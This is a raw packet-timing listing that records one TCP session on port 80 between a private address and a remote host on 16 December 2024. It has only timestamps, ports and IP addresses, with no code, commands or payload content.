Dec 16, 2024 15:02:11.685352087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.686749935 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.686801910 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.686825991 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.687063932 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.688276052 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.688349009 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.688380957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.688440084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.689883947 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.689960003 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.690000057 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.690141916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.691325903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.691461086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.691500902 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.691540956 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.692835093 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.692955971 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.693001032 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.693001032 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.694539070 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.694612026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.694626093 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.694725037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.696280003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.696369886 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.696378946 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.696420908 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.697423935 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.697494984 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.697597980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.697673082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.698929071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.699023008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.699045897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.699243069 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.700299025 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.700366020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.700406075 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.700603962 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.701811075 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.701864004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.701971054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.702023029 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.703486919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.703629017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.703710079 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.703838110 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.705108881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.705183983 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.705193043 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.705295086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.706299067 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.706351995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.706372976 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.706408024 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.707626104 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.707726955 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.707756042 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.707789898 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.709131002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.709224939 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.709238052 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.709269047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.710506916 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.710611105 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.710633993 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.710664034 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.711986065 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.712033987 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.712110996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.712172031 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.713505030 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.713565111 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.713654995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.713713884 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.714899063 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.715023041 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.715060949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.715060949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.716325998 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.716382980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.716454029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.716604948 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.717864990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.717922926 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.718035936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.718086004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.719491959 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.719582081 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.719619989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.719666004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.720803022 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.720853090 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.720860958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.720912933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.722269058 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.722379923 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.722421885 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.722421885 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.723931074 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.723988056 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.724023104 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.724087954 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.725366116 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.725445986 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.725472927 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.725702047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.726932049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.727031946 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.727032900 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.727086067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.728277922 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.728368998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.728370905 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.728522062 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.729593039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.729617119 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.729969978 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.730935097 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.731000900 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.731050968 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.731132030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.732395887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.732465029 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.732476950 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.732628107 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.733835936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.733881950 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.843462944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.843514919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.843580961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.843580961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.843789101 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.843885899 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.843931913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.843986988 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.844860077 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.844947100 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.844981909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.845057011 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.845989943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.846076965 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.846096039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.846120119 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.847074986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.847165108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.847199917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.847264051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.848161936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.848206043 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.848247051 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.848290920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.849239111 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.849297047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.849330902 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.849371910 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.850389004 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.850480080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.850572109 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.850646019 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.851423025 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.851470947 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.851557016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.851610899 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.852431059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.852569103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.852590084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.852618933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.853565931 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.853579998 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.853621960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.854558945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.854610920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.854618073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.854768038 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.855590105 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.855655909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.855717897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.855875015 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.856621981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.856674910 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.856709957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.856790066 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.857580900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.857654095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.857680082 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.857799053 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.858658075 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.858747005 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.858849049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.858984947 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.859688997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.859755039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.859771967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.859833956 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.860719919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.860793114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.860802889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.861021042 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.861711979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.861754894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.861871958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.861923933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.862729073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.862829924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.862834930 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.862888098 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.863749027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.863825083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.863868952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.863960981 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.864897013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.864960909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.865001917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.865130901 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.865777016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.865823030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.865861893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.865900993 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.866825104 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.866915941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.866955996 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.866983891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.867866039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.867913008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.867918968 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.868033886 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.868886948 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.868942022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.868976116 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.869179010 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.869875908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.869921923 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.869993925 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.870120049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.870906115 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.870984077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.871018887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.871220112 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.872023106 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.872143030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.872179031 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.872256994 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.873024940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.873107910 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.873204947 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.873258114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.874141932 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.874202967 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.874243021 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.874316931 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.875042915 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.875096083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.875189066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.875245094 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.876063108 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.876152039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.876282930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.876427889 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.877068996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.877154112 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.877285957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.877377033 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.878094912 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.878209114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.878232002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.878362894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.879117012 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.879190922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.879201889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.879261017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.880312920 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.880386114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.880398035 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.880563021 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.881232023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.881325960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.881331921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.881455898 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.882253885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.882318020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.882354021 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.882601976 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.883223057 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.883287907 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.883331060 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.883424044 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.884263039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.884358883 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.884383917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.884757042 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.885242939 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.885335922 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.885358095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.885386944 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.886281013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.886358976 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.886394978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.886462927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.887304068 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.887392044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.887414932 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.887511015 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.888425112 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.888542891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.888550997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.889354944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.889374971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.889446974 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.889574051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.889574051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.890369892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.890422106 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.890439987 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.890517950 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.891419888 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.891562939 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.891601086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.891685963 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.892484903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.892613888 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.892767906 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.892795086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.893444061 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.893577099 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.893579960 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.893630981 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.894488096 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.895414114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.896135092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.896234035 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.896241903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.896367073 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.896720886 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.896747112 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.896800041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.896800041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.897689104 CET	80	49867	185.215.113.16	192.168.2.6
